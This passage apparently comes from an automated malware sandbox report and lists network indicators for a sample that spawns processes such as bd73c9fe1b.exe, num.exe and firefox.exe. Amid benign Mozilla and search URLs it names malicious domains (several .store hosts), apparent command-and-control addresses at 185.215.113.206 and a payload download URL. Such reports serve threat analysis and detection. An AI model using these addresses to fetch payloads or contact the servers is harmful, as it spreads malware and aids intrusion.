https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
http://exslt.org/sets	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://monitor.firefox.com/user/dashboard	0%	URL Reputation	safe
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
star-mini.c10r.facebook.com	157.240.252.35	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
twitter.com	104.244.42.193	true	false	0%, Virustotal, Browse	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false		unknown
dyna.wikimedia.org	185.15.59.224	true	false		unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false		unknown
contile.services.mozilla.com	34.117.188.166	true	false		unknown
youtube.com	172.217.16.206	true	false		unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false		unknown
youtube-ui.l.google.com	142.250.185.238	true	false		unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false		unknown
reddit.map.fastly.net	151.101.65.140	true	false		unknown
ipv4only.arpa	192.0.0.171	true	false		unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false		unknown
push.services.mozilla.com	34.107.243.93	true	false		unknown
necklacedmny.store	188.114.97.3	true	true		unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false		unknown
www.reddit.com	unknown	unknown	false		unknown
spocs.getpocket.com	unknown	unknown	false		unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false		unknown
presticitpo.store	unknown	unknown	true		unknown
support.mozilla.org	unknown	unknown	false		unknown
firefox.settings.services.mozilla.com	unknown	unknown	false		unknown
www.youtube.com	unknown	unknown	false		unknown
fadehairucw.store	unknown	unknown	true		unknown
www.facebook.com	unknown	unknown	false		unknown
detectportal.firefox.com	unknown	unknown	false		unknown
thumbystriw.store	unknown	unknown	true		unknown
shavar.services.mozilla.com	unknown	unknown	false		unknown
crisiwarny.store	unknown	unknown	true		unknown
www.wikipedia.org	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
founpiuer.store	true	unknown
presticitpo.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.comZ	firefox.exe, 0000001A.00000002.2807761956.000011E17DC00000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/G6	num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe3Xh	bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000003.1745417813.0000000005220000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2496628876.000000000556E000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2669089897.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E03AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000021.00000002.2743870817.0000015C07986000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2976602615.000001B29BCD8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/moz-extension://31bc1824-4b8f-4b01-9a19-e1bd57d39	firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/ws	b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000025.00000002.2832464579.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 0000001A.00000002.2766810298.00000295E2E97000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642933069.00000295E483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2641873724.00000295E4600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001A.00000002.2784569965.00000295E6610000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785084528.00000295E6797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784569965.00000295E6603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785084528.00000295E6703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784569965.00000295E6609000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.php/d	b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.com/accountgWindowsWithUnloadHandler.panel-header	firefox.exe, 0000001A.00000002.2784569965.00000295E661C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 0000001A.00000002.2766810298.00000295E2E9C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com	firefox.exe, 0000001A.00000002.2805617940.00000295E7E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2758063479.00000295E1BA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2740896048.000000C46067B000.00000004.00000010.00020000.00000000.sdmp	false		unknown
https://ac.duckduckgo.com/ac/get	firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-jscolor-mix(in	firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206B	num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001A.00000003.2643634818.00000295E485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2644113137.00000295E4877000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642933069.00000295E483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2641873724.00000295E4600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Whether	firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/sets	firefox.exe, 0000001A.00000002.2751315941.00000295E0326000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/Web	firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://youtube.com/	firefox.exe, 0000001A.00000002.2779235507.00000295E566D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000003.1745417813.0000000005220000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2496628876.000000000556E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E03AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc	firefox.exe, 0000002F.00000003.2873867404.000001B2AC2CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.2874004878.000001B2AC29C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://exslt.org/dates-and-times0	firefox.exe, 0000001A.00000002.2751315941.00000295E0361000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.accounts.firefox.com/v1	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/common	firefox.exe, 0000001A.00000002.2751315941.00000295E0326000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpDC	num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://fpn.firefox.com	firefox.exe, 0000001A.00000002.2766810298.00000295E2E97000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.widevine.com/	firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000003.1745417813.0000000005220000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2496628876.000000000556E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E03AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://fadehairucw.store:443/api)	bd73c9fe1b.exe, 0000000B.00000002.2784608754.0000000001075000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001075000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://firefox.settings.services.mozilla.com/v1Failed	firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp--autocomplete-popup-separator-color--panel-banner-item-updat	firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2749678005.00000295D4C5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://bugzilla.mo	firefox.exe, 0000001A.00000002.2790041065.00000295E69AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2790041065.00000295E691F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://amazon.com	firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Required	firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001A.00000002.2784569965.00000295E6610000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785084528.00000295E6797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.orgmedia.autoplay.blocking_policymigrateXULAttributeToStylehttps://screensho	firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2054218674.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, bd73c9fe1b.exe, 00000008.00000003.2677360643.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2674422053.0000000000B6B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
